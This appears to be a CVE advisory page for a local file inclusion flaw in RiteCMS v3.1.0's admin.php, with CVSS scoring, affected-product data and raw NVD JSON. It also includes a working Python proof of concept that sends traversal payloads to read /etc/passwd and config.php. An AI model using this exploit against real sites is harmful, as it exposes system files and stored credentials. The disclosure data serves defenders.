Security Vulnerability Report
中文
CVE-2025-67174 CVSS 7.5 HIGH

CVE-2025-67174

Published: 2025-12-17 19:16:14
Last Modified: 2025-12-18 19:19:07

Description

A local file inclusion (LFI) vulnerability in RiteCMS v3.1.0 allows attackers to read arbitrary files on the host via a directory traversal in the admin_language_file and default_page_language_file in the admin.php component

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:ritecms:ritecms:3.1.0:*:*:*:*:*:*:* - VULNERABLE
RiteCMS < 3.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-67174 LFI PoC for RiteCMS v3.1.0 # Target: RiteCMS admin.php target_url = "http://target.com/admin.php" # PoC 1: Read /etc/passwd params = { "admin_language_file": "../../etc/passwd", "default_page_language_file": "../../etc/passwd" } print("[+] Testing CVE-2025-67174 LFI vulnerability...") print(f"[+] Target: {target_url}") try: response = requests.get(target_url, params=params, timeout=10) if "root:" in response.text or "/bin/bash" in response.text: print("[+] VULNERABLE! Successfully read /etc/passwd") print("[+] Response preview:") print(response.text[:500]) else: print("[-] Target may not be vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # PoC 2: Read configuration file config_params = { "admin_language_file": "../../config.php", "default_page_language_file": "../../config.php" } try: response = requests.get(target_url, params=config_params, timeout=10) if "<?php" in response.text or "password" in response.text.lower(): print("[+] Successfully read config.php") print("[+] Configuration content:") print(response.text[:500]) except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67174", "sourceIdentifier": "[email protected]", "published": "2025-12-17T19:16:13.740", "lastModified": "2025-12-18T19:19:07.147", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A local file inclusion (LFI) vulnerability in RiteCMS v3.1.0 allows attackers to read arbitrary files on the host via a directory traversal in the admin_language_file and default_page_language_file in the admin.php component"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ritecms:ritecms:3.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "F5E54D75-1861-4968-8494-335BF8C33E6F"}]}]}], "references": [{"url": "https://github.com/handylulu/RiteCMS", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/handylulu/RiteCMS/blob/master/admin.php#L46", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/handylulu/RiteCMS/blob/master/cms/subtemplates/settings.inc.tpl#L64", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/mbiesiad/vulnerability-research/tree/main/CVE-2025-67174", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/mbiesiad/vulnerability-research/tree/main/CVE-2025-67174", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}